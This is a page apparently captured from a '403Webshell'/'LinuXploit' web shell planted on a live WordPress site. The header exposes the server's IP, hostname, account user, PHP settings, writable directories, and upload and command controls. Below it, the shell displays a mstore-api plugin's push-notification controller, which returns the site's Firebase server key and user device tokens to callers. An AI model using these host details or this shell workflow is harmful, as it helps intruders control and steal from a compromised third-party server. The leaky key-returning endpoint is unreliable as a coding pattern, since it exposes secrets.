403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.191.158.217
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/jenniferflocom/www/wp-content/plugins/mstore-api/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jenniferflocom/www/wp-content/plugins/mstore-api/controllers//flutter-notification.php
<?php
require_once(__DIR__ . '/flutter-base.php');

/*
 * Base REST Controller for flutter
 *
 * @since 1.4.0
 *
 * @package Notification
 */

class FlutterNotification extends FlutterBaseController
{
    /**
     * Endpoint namespace
     *
     * @var string
     */
    protected $namespace = 'api/flutter_notification';

    /**
     * Register all routes releated with stores
     *
     * @return void
     */
    public function __construct()
    {
        add_action('rest_api_init', array($this, 'register_flutter_notification_routes'));
    }

    public function register_flutter_notification_routes()
    {
        register_rest_route($this->namespace, '/test_push_notification', array(
            array(
                'methods' => 'POST',
                'callback' => array($this, 'test_push_notification'),
                'permission_callback' => function () {
                    return parent::checkApiPermission();
                }
            ),
        ));

        register_rest_route($this->namespace, '/test_push_notification_created_order', array(
            array(
                'methods' => 'POST',
                'callback' => array($this, 'test_push_notification_created_order'),
                'permission_callback' => function () {
                    return parent::checkApiPermission();
                }
            ),
        ));

        register_rest_route($this->namespace, '/settings', array(
            array(
                'methods' => 'PUT',
                'callback' => array($this, 'update_settings'),
                'permission_callback' => array($this, 'get_settings_permissions_check'),
            ),
            array(
                'methods' => 'GET',
                'callback' => array($this, 'get_settings'),
                'permission_callback' => array($this, 'get_settings_permissions_check'),
            ),
        ));
    }

    public function test_push_notification()
    {
        $json = file_get_contents('php://input');
        $params = json_decode($json);
        $email = $params->email;
        $is_manager = $params->is_manager;
        $is_delivery = $params->is_delivery;
        $user = get_user_by('email', $email);
        $user_id = $user->ID;
        $serverKey = get_option("mstore_firebase_server_key");
        $status = false;
        $is_onesignal = $params->is_onesignal;
        if($is_onesignal){
            $status = one_signal_push_notification("Fluxstore", "Test push notification", array($user_id));
            return ['status' => $status];
        }
        if (isset($is_manager)) {
            if ($is_manager) {
                $deviceToken = get_user_meta($user_id, 'mstore_manager_device_token', true);
                if ($deviceToken) {
                    $status = pushNotification("Fluxstore", "Test push notification", $deviceToken);
                }
            }
            return ["deviceToken" => $deviceToken, 'serverKey' => $serverKey, 'status' => $status];
        }
        if (isset($is_delivery)) {
            if ($is_delivery) {
                $deviceToken = get_user_meta($user_id, 'mstore_delivery_device_token', true);
                if ($deviceToken) {
                    $status = pushNotification("Fluxstore", "Test push notification", $deviceToken);
                }
            }
            return ["deviceToken" => $deviceToken, 'serverKey' => $serverKey, 'status' => $status];
        }
        $deviceToken = get_user_meta($user_id, 'mstore_device_token', true);
        if ($deviceToken) {
            $status = pushNotification("Fluxstore", "Test push notification", $deviceToken);
        }
        return ["deviceToken" => $deviceToken, 'serverKey' => $serverKey, 'status' => $status];
    }

    function test_push_notification_created_order(){
        $json = file_get_contents('php://input');
        $params = json_decode($json);
        return trackNewOrder($params->order_id);
    }

    function get_settings_permissions_check($request)
    {
        $cookie = $request->get_header("User-Cookie");
        if (isset($cookie) && $cookie != null) {
            $user_id = validateCookieLogin($cookie);
            if (is_wp_error($user_id)) {
                return false;
            }
            $request["user_id"] = $user_id;
            return true;
        } else {
            return false;
        }
    }

    function update_settings($request){
        $json = file_get_contents('php://input');
        $params = json_decode($json, TRUE);
        $user_id = $request["user_id"];
        update_user_meta($user_id, "mstore_notification_status", $params['is_on'] == true ? 'on' : 'off');

        return ['is_on' => isNotificationEnabled($user_id)];
    }

    function get_settings($request){
        $user_id = $request["user_id"];
        return ['is_on' => isNotificationEnabled($user_id)];
    }
}

new FlutterNotification;

Youez - 2016 - github.com/yon3zu
LinuXploit